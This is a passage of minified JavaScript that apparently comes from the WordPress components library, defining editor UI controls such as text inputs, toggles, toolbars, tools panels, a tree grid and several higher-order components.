0,__next40pxDefaultSize:r}),(0,_t.jsx)(Wx,{__nextHasNoMarginBottom:n,__associatedWPComponentName:"TextControl",label:o,hideLabelFromVision:i,id:m,help:c,className:d,children:(0,_t.jsx)("input",{className:s("components-text-control__input",{"is-next-40px-default-size":r}),type:f,id:m,value:a,onChange:e=>p(e.target.value),"aria-describedby":c?m+"__help":void 0,ref:t,...h})})})),aF=sF,lF={huge:"1440px",wide:"1280px","x-large":"1080px",large:"960px",medium:"782px",small:"600px",mobile:"480px","zoomed-in":"280px"},cF=Nl("box-shadow:0 0 0 transparent;border-radius:",Fl.radiusSmall,";border:",Fl.borderWidth," solid ",zl.ui.border,";@media not ( prefers-reduced-motion ){transition:box-shadow 0.1s linear;}",""),uF=Nl("border-color:",zl.theme.accent,";box-shadow:0 0 0 calc( ",Fl.borderWidthFocus," - ",Fl.borderWidth," ) ",zl.theme.accent,";outline:2px solid transparent;",""),dF=yl("textarea",{target:"e1w5nnrk0"})("width:100%;display:block;font-family:",Ix("default.fontFamily"),";line-height:20px;padding:9px 11px;",cF,";font-size:",Ix("mobileTextMinFontSize"),";",`@media (min-width: ${lF["small"]})`,"{font-size:",Ix("default.fontSize"),";}&:focus{",uF,";}&::-webkit-input-placeholder{color:",zl.ui.darkGrayPlaceholder,";}&::-moz-placeholder{color:",zl.ui.darkGrayPlaceholder,";}&:-ms-input-placeholder{color:",zl.ui.darkGrayPlaceholder,";}.is-dark-theme &{&::-webkit-input-placeholder{color:",zl.ui.lightGrayPlaceholder,";}&::-moz-placeholder{color:",zl.ui.lightGrayPlaceholder,";}&:-ms-input-placeholder{color:",zl.ui.lightGrayPlaceholder,";}}");const pF=(0,c.forwardRef)((function(e,t){const{__nextHasNoMarginBottom:n,label:r,hideLabelFromVision:o,value:i,help:s,onChange:a,rows:c=4,className:u,...d}=e,p=`inspector-textarea-control-${(0,l.useInstanceId)(pF)}`;return(0,_t.jsx)(Wx,{__nextHasNoMarginBottom:n,__associatedWPComponentName:"TextareaControl",label:r,hideLabelFromVision:o,id:p,help:s,className:u,children:(0,_t.jsx)(dF,{className:"components-textarea-control__input",id:p,rows:c,onChange:e=>a(e.target.value),"aria-describedby":s?p+"__help":void 0,value:i,ref:t,...d})})})),fF=pF,hF=e=>{const{text:t="",highlight:n=""}=e,r=n.trim();if(!r)return(0,_t.jsx)(_t.Fragment,{children:t});const o=new RegExp(`(${Iy(r)})`,"gi");return(0,c.createInterpolateElement)(t.replace(o,"<mark>$&</mark>"),{mark:(0,_t.jsx)("mark",{})})},mF=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M12 15.8c-3.7 0-6.8-3-6.8-6.8s3-6.8 6.8-6.8c3.7 0 6.8 3 6.8 6.8s-3.1 6.8-6.8 6.8zm0-12C9.1 3.8 6.8 6.1 6.8 9s2.4 5.2 5.2 5.2c2.9 0 5.2-2.4 5.2-5.2S14.9 3.8 12 3.8zM8 17.5h8V19H8zM10 20.5h4V22h-4z"})});const gF=function(e){const{children:t}=e;return(0,_t.jsxs)("div",{className:"components-tip",children:[(0,_t.jsx)(oS,{icon:mF}),(0,_t.jsx)("p",{children:t})]})};const vF=(0,c.forwardRef)((function({__nextHasNoMarginBottom:e,label:t,checked:n,help:r,className:o,onChange:i,disabled:a},c){const u=`inspector-toggle-control-${(0,l.useInstanceId)(vF)}`,d=il()("components-toggle-control",o,!e&&Nl({marginBottom:Il(3)},"",""));let p,f;return e||Xi()("Bottom margin styles for wp.components.ToggleControl",{since:"6.7",version:"7.0",hint:"Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version."}),r&&("function"==typeof r?void 0!==n&&(f=r(n)):f=r,f&&(p=u+"__help")),(0,_t.jsx)(Wx,{id:u,help:f&&(0,_t.jsx)("span",{className:"components-toggle-control__help",children:f}),className:d,__nextHasNoMarginBottom:!0,children:(0,_t.jsxs)(fy,{justify:"flex-start",spacing:2,children:[(0,_t.jsx)(sD,{id:u,checked:n,onChange:function(e){i(e.target.checked)},"aria-describedby":p,disabled:a,ref:c}),(0,_t.jsx)(Eg,{as:"label",htmlFor:u,className:s("components-toggle-control__label",{"is-disabled":a}),children:t})]})})})),bF=vF;var xF=Et([Mt],[At]),yF=xF.useContext,wF=(xF.useScopedContext,xF.useProviderContext),_F=(xF.ContextProvider,xF.ScopedContextProvider),SF=jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=yF();return r=Mn(v({store:n=n||o},r))})),CF=Ct(St((function(e){return kt("button",SF(e))})));const kF=(0,c.createContext)(void 0);const jF=(0,c.forwardRef)((function({children:e,as:t,...n},r){const o=(0,c.useContext)(kF),i="function"==typeof e;if(!i&&!t)return null;const s={...n,ref:r,"data-toolbar-item":!0};if(!o)return t?(0,_t.jsx)(t,{...s,children:e}):i?e(s):null;const a=i?e:t&&(0,_t.jsx)(t,{children:e});return(0,_t.jsx)(CF,{accessibleWhenDisabled:!0,...s,store:o,render:a})})),EF=({children:e,className:t})=>(0,_t.jsx)("div",{className:t,children:e});const PF=(0,c.forwardRef)((function(e,t){const{children:n,className:r,containerClassName:o,extraProps:i,isActive:a,title:l,...u}=function({isDisabled:e,...t}){return{disabled:e,...t}}(e);return(0,c.useContext)(kF)?(0,_t.jsx)(jF,{className:s("components-toolbar-button",r),...i,...u,ref:t,children:e=>(0,_t.jsx)(Jx,{size:"compact",label:l,isPressed:a,...e,children:n})}):(0,_t.jsx)(EF,{className:o,children:(0,_t.jsx)(Jx,{ref:t,icon:u.icon,size:"compact",label:l,shortcut:u.shortcut,"data-subscript":u.subscript,onClick:e=>{e.stopPropagation(),u.onClick&&u.onClick(e)},className:s("components-toolbar__control",r),isPressed:a,accessibleWhenDisabled:!0,"data-toolbar-item":!0,...i,...u,children:n})})})),NF=({className:e,children:t,...n})=>(0,_t.jsx)("div",{className:e,...n,children:t});const TF=function({controls:e=[],toggleProps:t,...n}){const r=t=>(0,_t.jsx)(NN,{controls:e,toggleProps:{...t,"data-toolbar-item":!0},...n});return(0,c.useContext)(kF)?(0,_t.jsx)(jF,{...t,children:r}):r(t)};const IF=function({controls:e=[],children:t,className:n,isCollapsed:r,title:o,...i}){const a=(0,c.useContext)(kF);if(!(e&&e.length||t))return null;const l=s(a?"components-toolbar-group":"components-toolbar",n);let u;var d;return d=e,u=Array.isArray(d)&&Array.isArray(d[0])?e:[e],r?(0,_t.jsx)(TF,{label:o,controls:u,className:l,children:t,...i}):(0,_t.jsxs)(NF,{className:l,...i,children:[u?.flatMap(((e,t)=>e.map(((e,n)=>(0,_t.jsx)(PF,{containerClassName:t>0&&0===n?"has-left-divider":void 0,...e},[t,n].join()))))),t]})};function RF(e={}){var t;const n=null==(t=e.store)?void 0:t.getState();return ht(P(E({},e),{orientation:F(e.orientation,null==n?void 0:n.orientation,"horizontal"),focusLoop:F(e.focusLoop,null==n?void 0:n.focusLoop,!0)}))}function MF(e={}){const[t,n]=rt(RF,e);return function(e,t,n){return gt(e,t,n)}(t,n,e)}var AF=jt((function(e){var t=e,{store:n,orientation:r,virtualFocus:o,focusLoop:i,rtl:s}=t,a=x(t,["store","orientation","virtualFocus","focusLoop","rtl"]);const l=wF(),c=MF({store:n=n||l,orientation:r,virtualFocus:o,focusLoop:i,rtl:s}),u=c.useState((e=>"both"===e.orientation?void 0:e.orientation));return a=Me(a,(e=>(0,_t.jsx)(_F,{value:c,children:e})),[c]),a=v({role:"toolbar","aria-orientation":u},a),a=cn(v({store:c},a))})),DF=St((function(e){return kt("div",AF(e))}));const zF=(0,c.forwardRef)((function({label:e,...t},n){const r=MF({focusLoop:!0,rtl:(0,a.isRTL)()});return(0,_t.jsx)(kF.Provider,{value:r,children:(0,_t.jsx)(DF,{ref:n,"aria-label":e,store:r,...t})})}));const OF=(0,c.forwardRef)((function({className:e,label:t,variant:n,...r},o){const i=void 0!==n,a=(0,c.useMemo)((()=>i?{}:{DropdownMenu:{variant:"toolbar"},Dropdown:{variant:"toolbar"},Menu:{variant:"toolbar"}}),[i]);if(!t){Xi()("Using Toolbar without label prop",{since:"5.6",alternative:"ToolbarGroup component",link:"https://developer.wordpress.org/block-editor/components/toolbar/"});const{title:t,...n}=r;return(0,_t.jsx)(IF,{isCollapsed:!1,...n,className:e})}const l=s("components-accessible-toolbar",e,n&&`is-${n}`);return(0,_t.jsx)(gs,{value:a,children:(0,_t.jsx)(zF,{className:l,label:t,ref:o,...r})})}));const LF=(0,c.forwardRef)((function(e,t){return(0,c.useContext)(kF)?(0,_t.jsx)(jF,{ref:t,...e.toggleProps,children:t=>(0,_t.jsx)(NN,{...e,popoverProps:{...e.popoverProps},toggleProps:t})}):(0,_t.jsx)(NN,{...e})}));const FF={columns:e=>Nl("grid-template-columns:",`repeat( ${e}, minmax(0, 1fr) )`,";",""),spacing:Nl("column-gap:",Il(4),";row-gap:",Il(4),";",""),item:{fullWidth:{name:"18iuzk9",styles:"grid-column:1/-1"}}},BF={name:"huufmu",styles:">div:not( :first-of-type ){display:none;}"},VF=Nl(FF.item.fullWidth," gap:",Il(2),";.components-dropdown-menu{margin:",Il(-1)," 0;line-height:0;}&&&& .components-dropdown-menu__toggle{padding:0;min-width:",Il(6),";}",""),$F={name:"1pmxm02",styles:"font-size:inherit;font-weight:500;line-height:normal;&&{margin:0;}"},HF=Nl(FF.item.fullWidth,"&>div,&>fieldset{padding-bottom:0;margin-bottom:0;max-width:100%;}&& ",Mx,"{margin-bottom:0;",Dx,":last-child{margin-bottom:0;}}",Bx,"{margin-bottom:0;}&& ",lb,"{label{line-height:1.4em;}}",""),WF={name:"eivff4",styles:"display:none"},UF={name:"16gsvie",styles:"min-width:200px"},GF=yl("span",{target:"ews648u0"})("color:",zl.theme.accentDarker10,";font-size:11px;font-weight:500;line-height:1.4;",Mg({marginLeft:Il(3)})," text-transform:uppercase;"),KF=Nl("color:",zl.gray[900],";&&[aria-disabled='true']{color:",zl.gray[700],";opacity:1;&:hover{color:",zl.gray[700],";}",GF,"{opacity:0.3;}}",""),qF=()=>{},YF=(0,c.createContext)({menuItems:{default:{},optional:{}},hasMenuItems:!1,isResetting:!1,shouldRenderPlaceholderItems:!1,registerPanelItem:qF,deregisterPanelItem:qF,flagItemCustomization:qF,registerResetAllFilter:qF,deregisterResetAllFilter:qF,areAllOptionalControlsHidden:!0}),XF=()=>(0,c.useContext)(YF);const ZF=({itemClassName:e,items:t,toggleItem:n})=>{if(!t.length)return null;const r=(0,_t.jsx)(GF,{"aria-hidden":!0,children:(0,a.__)("Reset")});return(0,_t.jsx)(_t.Fragment,{children:t.map((([t,o])=>o?(0,_t.jsx)(_D,{className:e,role:"menuitem",label:(0,a.sprintf)((0,a.__)("Reset %s"),t),onClick:()=>{n(t),(0,jy.speak)((0,a.sprintf)((0,a.__)("%s reset to default"),t),"assertive")},suffix:r,children:t},t):(0,_t.jsx)(_D,{icon:ok,className:e,role:"menuitemcheckbox",isSelected:!0,"aria-disabled":!0,children:t},t)))})},QF=({items:e,toggleItem:t})=>e.length?(0,_t.jsx)(_t.Fragment,{children:e.map((([e,n])=>{const r=n?(0,a.sprintf)((0,a.__)("Hide and reset %s"),e):(0,a.sprintf)((0,a._x)("Show %s","input control"),e);return(0,_t.jsx)(_D,{icon:n?ok:null,isSelected:n,label:r,onClick:()=>{n?(0,jy.speak)((0,a.sprintf)((0,a.__)("%s hidden and reset to default"),e),"assertive"):(0,jy.speak)((0,a.sprintf)((0,a.__)("%s is now visible"),e),"assertive"),t(e)},role:"menuitemcheckbox",children:e},e)}))}):null,JF=al(((e,t)=>{const{areAllOptionalControlsHidden:n,defaultControlsItemClassName:r,dropdownMenuClassName:o,hasMenuItems:i,headingClassName:s,headingLevel:l=2,label:u,menuItems:d,resetAll:p,toggleItem:f,dropdownMenuProps:h,...m}=function(e){const{className:t,headingLevel:n=2,...r}=sl(e,"ToolsPanelHeader"),o=il(),i=(0,c.useMemo)((()=>o(VF,t)),[t,o]),s=(0,c.useMemo)((()=>o(UF)),[o]),a=(0,c.useMemo)((()=>o($F)),[o]),l=(0,c.useMemo)((()=>o(KF)),[o]),{menuItems:u,hasMenuItems:d,areAllOptionalControlsHidden:p}=XF();return{...r,areAllOptionalControlsHidden:p,defaultControlsItemClassName:l,dropdownMenuClassName:s,hasMenuItems:d,headingClassName:a,headingLevel:n,menuItems:u,className:i}}(e);if(!u)return null;const g=Object.entries(d?.default||{}),v=Object.entries(d?.optional||{}),b=n?Og:_P,x=(0,a.sprintf)((0,a._x)("%s options","Button label to reveal tool panel options"),u),y=n?(0,a.__)("All options are currently hidden"):void 0,w=[...g,...v].some((([,e])=>e));return(0,_t.jsxs)(fy,{...m,ref:t,children:[(0,_t.jsx)(mk,{level:l,className:s,children:u}),i&&(0,_t.jsx)(NN,{...h,icon:b,label:x,menuProps:{className:o},toggleProps:{size:"small",description:y},children:()=>(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsxs)(yD,{label:u,children:[(0,_t.jsx)(ZF,{items:g,toggleItem:f,itemClassName:r}),(0,_t.jsx)(QF,{items:v,toggleItem:f})]}),(0,_t.jsx)(yD,{children:(0,_t.jsx)(_D,{"aria-disabled":!w,variant:"tertiary",onClick:()=>{w&&(p(),(0,jy.speak)((0,a.__)("All options reset"),"assertive"))},children:(0,a.__)("Reset all")})})]})})]})}),"ToolsPanelHeader"),eB=JF;function tB(){return{panelItems:[],menuItemOrder:[],menuItems:{default:{},optional:{}}}}const nB=({panelItems:e,shouldReset:t,currentMenuItems:n,menuItemOrder:r})=>{const o={default:{},optional:{}},i={default:{},optional:{}};return e.forEach((({hasValue:e,isShownByDefault:r,label:i})=>{const s=r?"default":"optional",a=n?.[s]?.[i],l=a||e();o[s][i]=!t&&l})),r.forEach((e=>{o.default.hasOwnProperty(e)&&(i.default[e]=o.default[e]),o.optional.hasOwnProperty(e)&&(i.optional[e]=o.optional[e])})),Object.keys(o.default).forEach((e=>{i.default.hasOwnProperty(e)||(i.default[e]=o.default[e])})),Object.keys(o.optional).forEach((e=>{i.optional.hasOwnProperty(e)||(i.optional[e]=o.optional[e])})),i};function rB(e,t){const n=function(e,t){switch(t.type){case"REGISTER_PANEL":{const n=[...e],r=n.findIndex((e=>e.label===t.item.label));return-1!==r&&n.splice(r,1),n.push(t.item),n}case"UNREGISTER_PANEL":{const n=e.findIndex((e=>e.label===t.label));if(-1!==n){const t=[...e];return t.splice(n,1),t}return e}default:return e}}(e.panelItems,t),r=function(e,t){return"REGISTER_PANEL"===t.type?e.includes(t.item.label)?e:[...e,t.item.label]:e}(e.menuItemOrder,t),o=function(e,t){switch(t.type){case"REGISTER_PANEL":case"UNREGISTER_PANEL":return nB({currentMenuItems:e.menuItems,panelItems:e.panelItems,menuItemOrder:e.menuItemOrder,shouldReset:!1});case"RESET_ALL":return nB({panelItems:e.panelItems,menuItemOrder:e.menuItemOrder,shouldReset:!0});case"UPDATE_VALUE":{const n=e.menuItems[t.group][t.label];return t.value===n?e.menuItems:{...e.menuItems,[t.group]:{...e.menuItems[t.group],[t.label]:t.value}}}case"TOGGLE_VALUE":{const n=e.panelItems.find((e=>e.label===t.label));if(!n)return e.menuItems;const r=n.isShownByDefault?"default":"optional";return{...e.menuItems,[r]:{...e.menuItems[r],[t.label]:!e.menuItems[r][t.label]}}}default:return e.menuItems}}({panelItems:n,menuItemOrder:r,menuItems:e.menuItems},t);return{panelItems:n,menuItemOrder:r,menuItems:o}}function oB(e,t){switch(t.type){case"REGISTER":return[...e,t.filter];case"UNREGISTER":return e.filter((e=>e!==t.filter));default:return e}}const iB=e=>0===Object.keys(e).length;function sB(e){const{className:t,headingLevel:n=2,resetAll:r,panelId:o,hasInnerWrapper:i=!1,shouldRenderPlaceholderItems:s=!1,__experimentalFirstVisibleItemClass:a,__experimentalLastVisibleItemClass:l,...u}=sl(e,"ToolsPanel"),d=(0,c.useRef)(!1),p=d.current;(0,c.useEffect)((()=>{p&&(d.current=!1)}),[p]);const[{panelItems:f,menuItems:h},m]=(0,c.useReducer)(rB,void 0,tB),[g,v]=(0,c.useReducer)(oB,[]),b=(0,c.useCallback)((e=>{m({type:"REGISTER_PANEL",item:e})}),[]),x=(0,c.useCallback)((e=>{m({type:"UNREGISTER_PANEL",label:e})}),[]),y=(0,c.useCallback)((e=>{v({type:"REGISTER",filter:e})}),[]),w=(0,c.useCallback)((e=>{v({type:"UNREGISTER",filter:e})}),[]),_=(0,c.useCallback)(((e,t,n="default")=>{m({type:"UPDATE_VALUE",group:n,label:t,value:e})}),[]),S=(0,c.useMemo)((()=>iB(h.default)&&!iB(h.optional)&&Object.values(h.optional).every((e=>!e))),[h]),C=il(),k=(0,c.useMemo)((()=>{const e=i&&Nl(">div:not( :first-of-type ){display:grid;",FF.columns(2)," ",FF.spacing," ",FF.item.fullWidth,";}","");const n=S&&BF;return C((e=>Nl(FF.columns(e)," ",FF.spacing," border-top:",Fl.borderWidth," solid ",zl.gray[300],";margin-top:-1px;padding:",Il(4),";",""))(2),e,n,t)}),[S,t,C,i]),j=(0,c.useCallback)((e=>{m({type:"TOGGLE_VALUE",label:e})}),[]),E=(0,c.useCallback)((()=>{"function"==typeof r&&(d.current=!0,r(g)),m({type:"RESET_ALL"})}),[g,r]),P=e=>{const t=h.optional||{},n=e.find((e=>e.isShownByDefault||t[e.label]));return n?.label},N=P(f),T=P([...f].reverse()),I=f.length>0;return{...u,headingLevel:n,panelContext:(0,c.useMemo)((()=>({areAllOptionalControlsHidden:S,deregisterPanelItem:x,deregisterResetAllFilter:w,firstDisplayedItem:N,flagItemCustomization:_,hasMenuItems:I,isResetting:d.current,lastDisplayedItem:T,menuItems:h,panelId:o,registerPanelItem:b,registerResetAllFilter:y,shouldRenderPlaceholderItems:s,__experimentalFirstVisibleItemClass:a,__experimentalLastVisibleItemClass:l})),[S,x,w,N,_,T,h,o,I,y,b,s,a,l]),resetAllItems:E,toggleItem:j,className:k}}const aB=al(((e,t)=>{const{children:n,label:r,panelContext:o,resetAllItems:i,toggleItem:s,headingLevel:a,dropdownMenuProps:l,...c}=sB(e);return(0,_t.jsx)(cj,{...c,columns:2,ref:t,children:(0,_t.jsxs)(YF.Provider,{value:o,children:[(0,_t.jsx)(eB,{label:r,resetAll:i,toggleItem:s,headingLevel:a,dropdownMenuProps:l}),n]})})}),"ToolsPanel"),lB=()=>{};const cB=al(((e,t)=>{const{children:n,isShown:r,shouldRenderPlaceholder:o,...i}=function(e){const{className:t,hasValue:n,isShownByDefault:r=!1,label:o,panelId:i,resetAllFilter:s=lB,onDeselect:a,onSelect:u,...d}=sl(e,"ToolsPanelItem"),{panelId:p,menuItems:f,registerResetAllFilter:h,deregisterResetAllFilter:m,registerPanelItem:g,deregisterPanelItem:v,flagItemCustomization:b,isResetting:x,shouldRenderPlaceholderItems:y,firstDisplayedItem:w,lastDisplayedItem:_,__experimentalFirstVisibleItemClass:S,__experimentalLastVisibleItemClass:C}=XF(),k=(0,c.useCallback)(n,[i]),j=(0,c.useCallback)(s,[i]),E=(0,l.usePrevious)(p),P=p===i||null===p;(0,c.useLayoutEffect)((()=>(P&&null!==E&&g({hasValue:k,isShownByDefault:r,label:o,panelId:i}),()=>{(null===E&&p||p===i)&&v(o)})),[p,P,r,o,k,i,E,g,v]),(0,c.useEffect)((()=>(P&&h(j),()=>{P&&m(j)})),[h,m,j,P]);const N=r?"default":"optional",T=f?.[N]?.[o],I=(0,l.usePrevious)(T),R=void 0!==f?.[N]?.[o],M=n();(0,c.useEffect)((()=>{(r||M)&&b(M,o,N)}),[M,N,o,b,r]),(0,c.useEffect)((()=>{R&&!x&&P&&(!T||M||I||u?.(),!T&&M&&I&&a?.())}),[P,T,R,x,M,I,u,a]);const A=r?void 0!==f?.[N]?.[o]:T,D=il(),z=(0,c.useMemo)((()=>{const e=y&&!A;return D(HF,e&&WF,!e&&t,w===o&&S,_===o&&C)}),[A,y,t,D,w,_,S,C,o]);return{...d,isShown:A,shouldRenderPlaceholder:y,className:z}}(e);return r?(0,_t.jsx)(_l,{...i,ref:t,children:n}):o?(0,_t.jsx)(_l,{...i,ref:t}):null}),"ToolsPanelItem"),uB=cB,dB=(0,c.createContext)(void 0),pB=dB.Provider;function fB({children:e}){const[t,n]=(0,c.useState)(),r=(0,c.useMemo)((()=>({lastFocusedElement:t,setLastFocusedElement:n})),[t]);return(0,_t.jsx)(pB,{value:r,children:e})}function hB(e){return bN.focus.focusable.find(e,{sequential:!0}).filter((t=>t.closest('[role="row"]')===e))}const mB=(0,c.forwardRef)((function({children:e,onExpandRow:t=()=>{},onCollapseRow:n=()=>{},onFocusRow:r=()=>{},applicationAriaLabel:o,...i},s){const a=(0,c.useCallback)((e=>{const{keyCode:o,metaKey:i,ctrlKey:s,altKey:a}=e;if(i||s||a||![Ey.UP,Ey.DOWN,Ey.LEFT,Ey.RIGHT,Ey.HOME,Ey.END].includes(o))return;e.stopPropagation();const{activeElement:l}=document,{currentTarget:c}=e;if(!l||!c.contains(l))return;const u=l.closest('[role="row"]');if(!u)return;const d=hB(u),p=d.indexOf(l),f=0===p,h=f&&("false"===u.getAttribute("data-expanded")||"false"===u.getAttribute("aria-expanded"))&&o===Ey.RIGHT;if([Ey.LEFT,Ey.RIGHT].includes(o)){let r;if(r=o===Ey.LEFT?Math.max(0,p-1):Math.min(p+1,d.length-1),f){if(o===Ey.LEFT){var m;if("true"===u.getAttribute("data-expanded")||"true"===u.getAttribute("aria-expanded"))return n(u),void e.preventDefault();const t=Math.max(parseInt(null!==(m=u?.getAttribute("aria-level"))&&void 0!==m?m:"1",10)-1,1),r=Array.from(c.querySelectorAll('[role="row"]'));let o=u;for(let e=r.indexOf(u);e>=0;e--){const n=r[e].getAttribute("aria-level");if(null!==n&&parseInt(n,10)===t){o=r[e];break}}hB(o)?.[0]?.focus()}if(o===Ey.RIGHT){if("false"===u.getAttribute("data-expanded")||"false"===u.getAttribute("aria-expanded"))return t(u),void e.preventDefault();const n=hB(u);n.length>0&&n[r]?.focus()}return void e.preventDefault()}if(h)return;d[r].focus(),e.preventDefault()}else if([Ey.UP,Ey.DOWN].includes(o)){const t=Array.from(c.querySelectorAll('[role="row"]')),n=t.indexOf(u);let i;if(i=o===Ey.UP?Math.max(0,n-1):Math.min(n+1,t.length-1),i===n)return void e.preventDefault();const s=hB(t[i]);if(!s||!s.length)return void e.preventDefault();s[Math.min(p,s.length-1)].focus(),r(e,u,t[i]),e.preventDefault()}else if([Ey.HOME,Ey.END].includes(o)){const t=Array.from(c.querySelectorAll('[role="row"]')),n=t.indexOf(u);let i;if(i=o===Ey.HOME?0:t.length-1,i===n)return void e.preventDefault();const s=hB(t[i]);if(!s||!s.length)return void e.preventDefault();s[Math.min(p,s.length-1)].focus(),r(e,u,t[i]),e.preventDefault()}}),[t,n,r]);return(0,_t.jsx)(fB,{children:(0,_t.jsx)("div",{role:"application","aria-label":o,children:(0,_t.jsx)("table",{...i,role:"treegrid",onKeyDown:a,ref:s,children:(0,_t.jsx)("tbody",{children:e})})})})})),gB=mB;const vB=(0,c.forwardRef)((function({children:e,level:t,positionInSet:n,setSize:r,isExpanded:o,...i},s){return(0,_t.jsx)("tr",{...i,ref:s,role:"row","aria-level":t,"aria-posinset":n,"aria-setsize":r,"aria-expanded":o,children:e})})),bB=(0,c.forwardRef)((function({children:e,as:t,...n},r){const o=(0,c.useRef)(),i=r||o,{lastFocusedElement:s,setLastFocusedElement:a}=(0,c.useContext)(dB);let l;s&&(l=s===("current"in i?i.current:void 0)?0:-1);const u={ref:i,tabIndex:l,onFocus:e=>a?.(e.target),...n};return"function"==typeof e?e(u):t?(0,_t.jsx)(t,{...u,children:e}):null})),xB=bB;const yB=(0,c.forwardRef)((function({children:e,...t},n){return(0,_t.jsx)(xB,{ref:n,...t,children:e})}));const wB=(0,c.forwardRef)((function({children:e,withoutGridItem:t=!1,...n},r){return(0,_t.jsx)("td",{...n,role:"gridcell",children:t?(0,_t.jsx)(_t.Fragment,{children:"function"==typeof e?e({...n,ref:r}):e}):(0,_t.jsx)(yB,{ref:r,children:e})})}));function _B(e){e.stopPropagation()}const SB=(0,c.forwardRef)(((e,t)=>(Xi()("wp.components.IsolatedEventContainer",{since:"5.7"}),(0,_t.jsx)("div",{...e,ref:t,onMouseDown:_B}))));function CB(e){const t=(0,c.useContext)(Uy);return(0,l.useObservableValue)(t.fills,e)}const kB=yl("div",{target:"ebn2ljm1"})("&:not( :first-of-type ){",(({offsetAmount:e})=>Nl({marginInlineStart:e},"","")),";}",(({zIndex:e})=>Nl({zIndex:e},"","")),";");var jB={name:"rs0gp6",styles:"grid-row-start:1;grid-column-start:1"};const EB=yl("div",{target:"ebn2ljm0"})("display:inline-grid;grid-auto-flow:column;position:relative;&>",kB,"{position:relative;justify-self:start;",(({isLayered:e})=>e?jB:void 0),";}");const PB=al((function(e,t){const{children:n,className:r,isLayered:o=!0,isReversed:i=!1,offset:s=0,...a}=sl(e,"ZStack"),l=dy(n),u=l.length-1,d=l.map(((e,t)=>{const n=i?u-t:t,r=o?s*t:s,a=(0,c.isValidElement)(e)?e.key:t;return(0,_t.jsx)(kB,{offsetAmount:r,zIndex:n,children:e},a)}));return(0,_t.jsx)(EB,{...a,className:r,isLayered:o,ref:t,children:d})}),"ZStack"),NB=PB,TB={previous:[{modifier:"ctrlShift",character:"`"},{modifier:"ctrlShift",character:"~"},{modifier:"access",character:"p"}],next:[{modifier:"ctrl",character:"`"},{modifier:"access",character:"n"}]};function IB(e=TB){const t=(0,c.useRef)(null),[n,r]=(0,c.useState)(!1);function o(e){var n;const o=Array.from(null!==(n=t.current?.querySelectorAll('[role="region"][tabindex="-1"]'))&&void 0!==n?n:[]);if(!o.length)return;let i=o[0];const s=t.current?.ownerDocument?.activeElement?.closest('[role="region"][tabindex="-1"]'),a=s?o.indexOf(s):-1;if(-1!==a){let t=a+e;t=-1===t?o.length-1:t,t=t===o.length?0:t,i=o[t]}i.focus(),r(!0)}const i=(0,l.useRefEffect)((e=>{function t(){r(!1)}return e.addEventListener("click",t),()=>{e.removeEventListener("click",t)}}),[r]);return{ref:(0,l.useMergeRefs)([t,i]),className:n?"is-focusing-regions":"",onKeyDown(t){e.previous.some((({modifier:e,character:n})=>Ey.isKeyboardEvent[e](t,n)))?o(-1):e.next.some((({modifier:e,character:n})=>Ey.isKeyboardEvent[e](t,n)))&&o(1)}}}const RB=(0,l.createHigherOrderComponent)((e=>({shortcuts:t,...n})=>(0,_t.jsx)("div",{...IB(t),children:(0,_t.jsx)(e,{...n})})),"navigateRegions"),MB=(0,l.createHigherOrderComponent)((e=>function(t){const n=(0,l.useConstrainedTabbing)();return(0,_t.jsx)("div",{ref:n,tabIndex:-1,children:(0,_t.jsx)(e,{...t})})}),"withConstrainedTabbing"),AB=e=>(0,l.createHigherOrderComponent)((t=>class extends c.Component{constructor(e){super(e),this.nodeRef=this.props.node,this.state={fallbackStyles:void 0,grabStylesCompleted:!1},this.bindRef=this.bindRef.bind(this)}bindRef(e){e&&(this.nodeRef=e)}componentDidMount(){this.grabFallbackStyles()}componentDidUpdate(){this.grabFallbackStyles()}grabFallbackStyles(){const{grabStylesCompleted:t,fallbackStyles:n}=this.state;if(this.nodeRef&&!t){const t=e(this.nodeRef,this.props);us()(t,n)||this.setState({fallbackStyles:t,grabStylesCompleted:Object.values(t).every(Boolean)})}}render(){const e=(0,_t.jsx)(t,{...this.props,...this.state.fallbackStyles});return this.props.node?e:(0,_t.jsxs)("div",{ref:this.bindRef,children:[" ",e," "]})}}),"withFallbackStyles"),DB=window.wp.hooks,zB=16;function OB(e){return(0,l.createHigherOrderComponent)((t=>{const n="core/with-filters/"+e;let r;class o extends c.Component{constructor(n){super(n),void 0===r&&(r=(0,DB.applyFilters)(e,t))}componentDidMount(){o.instances.push(this),1===o.instances.length&&((0,DB.addAction)("hookRemoved",n,s),(0,DB.addAction)("hookAdded",n,s))}componentWillUnmount(){o.instances=o.instances.filter((e=>e!==this)),0===o.instances.length&&((0,DB.removeAction)("hookRemoved",n),(0,DB.removeAction)("hookAdded",n))}render(){return(0,_t.jsx)(r,{...this.props})}}o.instances=[];const i=(0,l.debounce)((()=>{r=(0,DB.applyFilters)(e,t),o.instances.forEach((e=>{e.forceUpdate()}))}),zB);function s(t){t===e&&i()}return o}),"withFilters")}const LB=(0,l.createHigherOrderComponent)((e=>{const t=({onFocusReturn:e}={})=>t=>n=>{const r=(0,l.useFocusReturn)(e);return(0,_t.jsx)("div",{ref:r,children:(0,_t.jsx)(t,{...n})})};if((n=e)instanceof c.Component||"function"==typeof n){const n=e;return t()(n)}var n;return t(e)}),"withFocusReturn"),FB=({children:e})=>(Xi()("wp.components.FocusReturnProvider component",{since:"5.7",hint:"This provider is not used anymore. You can just remove it from your codebase"}),e),BB=(0,l.createHigherOrderComponent)((e=>{function t(t,r){const[o,i]=(0,c.useState)([]),s=(0,c.useMemo)((()=>{const e=e=>{const t=e.id?e:{...e,id:ow()};i((e=>[...e,t]))};return{createNotice:e,createErrorNotice:t=>{e({status:"error",content:t})},removeNotice:e=>{i((t=>t.filter((t=>t.id!==e))))},removeAllNotices:()=>{i([])}}}),[]),a={...t,noticeList:o,noticeOperations:s,noticeUI:o.length>0&&(0,_t.jsx)(hO,{className:"components-with-notices-ui",notices:o,onRemove:s.removeNotice})};return n?(0,_t.jsx)(e,{...a,ref:r}):(0,_t.jsx)(e,{...a})}let n;const{render:r}=e;return"function"==typeof r?(n=!0,(0,c.forwardRef)(t)):t}),"withNotices");var 